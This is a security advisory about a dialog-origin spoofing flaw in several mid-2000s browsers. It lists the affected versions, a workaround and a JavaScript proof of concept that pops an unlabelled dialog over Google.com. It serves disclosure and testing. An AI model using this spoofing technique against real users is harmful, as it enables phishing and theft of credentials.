[NEWS] Multiple Browsers Dialog Origin Vulnerability (Test)

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Multiple Browsers Dialog Origin Vulnerability (Test)
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SUMMARY

By crafting a special JavaScript code attackers can steal information from
users by mimicking the look and feel of a trusted web site, and preforming
a man in the middle attack.

DETAILS

Vulnerable Systems:
* Internet Explorer for Mac version 5.x
* Internet Explorer version 6.x
* Opera version 7.x
* Opera version 8.x
* Safari version 1.x
* iCab version 2.x
* Mozilla version 1.7.x
* FireFox version 0.x
* FireFox version 1.x
* Camino version 0.x
* NetCaptor version 7.5.4

The problem is that JavaScript dialog boxes do not display or include
their origin, which allows a new window to open e.g. a prompt dialog box,
which appears to be from a trusted site.

Proof of Concept:
< script language="JavaScript" type="text/javascript">
var o_height = 768;
var o_width = 1024;

if ( screen.width > 100 )
{
o_width = screen.width;
}

if ( screen.height > 100 )
{
o_height = screen.height;
}

function run()
{
if ( window.opera )
{
window.open('http://www.google.com.secunia.com/tests/origin_spoof.php',
'_blank',
height=1,width=1,left=3000,top=3000,resizable=no,scrollbars=no');
}
else
{
window.open('http://www.google.com.secunia.com/tests/origin_spoof.php',
'_blank', 'height=1,width=1,resizable=no,scrollbars=no,left=' + ((o_width
/ 2) - 50) + ',top=' + ((o_height / 2) - 150) );
}
window.focus();
}
</script>

This demonstration will open the Google.com web site. After a while, a
JavaScript dialog will be displayed in front of the Google.com web site.

< a href="http://www.google.com/" onclick="run();">< font
color="#000000">Test Now - Left Click On This Link</font></a>

You are vulnerable, if a JavaScript dialog box appears in front of the
Google.com web site without displaying information about its origin.

Workaround:
Disable Javascript support with your web browser. And do not mix your
surfing of trusted sites with untrusted web sites.

Vendors Status:
None of the vendors has released any fixes for this issue.

ADDITIONAL INFORMATION

The information has been provided by <mailto:juha-matti.laurio@netti.fi>
Juha-Matti Laurio .
The original article can be found at:
<http://secunia.com/multiple_browsers_dialog_origin_vulnerability_test/>
http://secunia.com/multiple_browsers_dialog_origin_vulnerability_test/

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